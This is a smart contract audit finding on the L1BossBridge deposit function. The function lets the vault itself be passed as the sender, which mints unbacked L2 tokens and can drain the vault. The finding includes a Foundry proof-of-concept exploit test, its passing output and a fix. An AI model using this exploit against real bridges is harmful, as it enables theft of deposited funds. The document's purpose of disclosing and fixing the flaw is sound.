Summary
Missing from param validation in L1BossBridge::depositTokensToL2 function allows any user to mint tokens in L2 for free if from == address(vault).
Vulnerability Details
L1BossBridge::depositTokensToL2 does not validate if from == address(vault). In this edge case, a user can pass l2Recipient with an address he controls, the token.safeTransferFrom(from, address(vault), amount) will not revert, and the Deposit event will be emitted, minting tokens in L2 for free . The function safeTransferFrom does not revert because L1BossBridge constructor calls L1Vault::approveTo and the bridge is given unlimited allowance to access funds on the vault. In this edge case, safeTransferFrom will transfer funds from vault to vault will be allowed, and no real deposits are made.
Additionally, these minted tokens can be transferred back to L1, draining all funds from the protocol.
Proof of Concept
function testHackerCanDepositTokensInL2ForFree() public {
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, userInL2, amount);
tokenBridge.depositTokensToL2(user, userInL2, amount);
vm.startPrank(hacker);
uint hackerAmount = token.balanceOf(address(vault));
assertEq(token.balanceOf(hacker), 0);
vm.expectRevert(abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(vault), hackerAmount, hackerAmount+1));
tokenBridge.depositTokensToL2(address(vault), hacker, hackerAmount + 1);
vm.expectEmit(address(tokenBridge));
emit Deposit(address(vault), hacker, amount);
tokenBridge.depositTokensToL2(address(vault), hacker, hackerAmount);
vm.stopPrank();
}
Output when running PoC
forge test --mt testHackerCanDepositTokensInL2ForFree -vvv
[⠒] Compiling...
[⠑] Compiling 1 files with 0.8.20
[⠃] Solc 0.8.20 finished in 1.58s
Compiler run successful!
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testHackerCanDepositTokensInL2ForFree() (gas: 104719)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.56ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Critical. This vulnerability allows any malicious user to mint tokens in L2, up to the current deposited balance of L1Vault contract, breaking the main functionality of the bridge. Besides, any tokens minted on L2 can be transferred to L1, draining L1Vault contract.
Tools Used
Recommendations
Add a validation to the from address, ensuring its not the equal to the vault address.
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ require(from != address(vault), "L1BossBridge: invalid from address");
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}